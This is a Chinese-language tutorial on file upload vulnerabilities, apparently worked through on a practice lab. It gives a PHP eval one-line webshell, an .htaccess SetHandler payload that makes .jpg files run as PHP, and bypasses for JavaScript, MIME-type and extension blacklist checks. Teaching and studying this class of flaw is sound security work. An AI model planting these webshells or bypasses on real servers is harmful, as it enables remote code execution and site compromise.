文件上传漏洞
目录: 0×01 任意文件上传 0×02 JS限制 0×03 MIME限制 0×04 黑名单限制
文件上传漏洞原理:大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制或者是过滤用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。
0×01 任意文件上传
没有任何条件限制,可上传任意文件。
直接上传我们的PHP一句话木马
<?php @eval($_POST['qidian']); ?>
上传之后,
显示出了文件所在的路径,类型等等。
上传成功代表着我们可以通过webshell访问网站
输入一些命令我们就可以查看网站的一些内容,例如
查看网站PHP的版本信息:
qidian=phpinfo();
可以通过webshell用不同的命令,得到网站的各种信息。
当然我们也可以通过菜刀,蚁剑对我们有上传漏洞的网站可视化查看。
上图使用蚁剑连接的,对我们webshell上传目录可视化。
0×02 JS限制
所谓JS限制就是在网页前端的JS 代码会对我们上传的文件的后缀或类型进行过滤,限制我们的上传。
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件,不能上传!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
上面的代码会对我们上传的文件进行过滤,如果满足要求的格式,就允许我们上传,否则不行。
我们的绕过方法就是把这段JS代码删除。通过firebug查看元素并删除调用checkFile() 的那句话就行了
绕过后就可以上传成功,查看图像得到上传路径。然后可以用菜刀连接。
我们也可以用BurpSuite抓包,改包进行绕过。
0×03 MIME限制
MIME限制就是文件类型限制。
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
从上面的代码可以看到我们的Content-Type需要满足上面三种之一才可以上传。
常见的:超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
PHP文件 .php application/octet-stream
类型不对,无法上传。
当我们上传PHP文件时,因为类型不符合以上三种之一,就不能上传。
因此,我们需要通过抓包改包改变MIME 内容。
将Content-Type的内容改为 image/jpeg 就可以绕过MIME限制。
0×04 黑名单限制
文件类型根据黑名单来检测的原理就是:服务器程序根据一份文件后缀名的名单来判断是否允许当前文件上传到服务器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传。
上面就是黑名单里限制的格式。
我们可以将文件后缀改为 phtml ,php3 ,php5。也可以运用后缀的大小写进行绕过。
也可以用后缀加点,加空格,点 +空格+点 绕过等等。
今天用重写文件解析绕过。( .htaccess文件)
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
htaccess文件内容为:SetHandler application/x-httpd-php
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
即我们上传任何格式的文件都会被当作php文件执行。
先上传这样一个后缀为htaccess的文件,在上传一个.jpg的一句话,这样即使上传的一句话后缀为jpg依然可以连接一句话。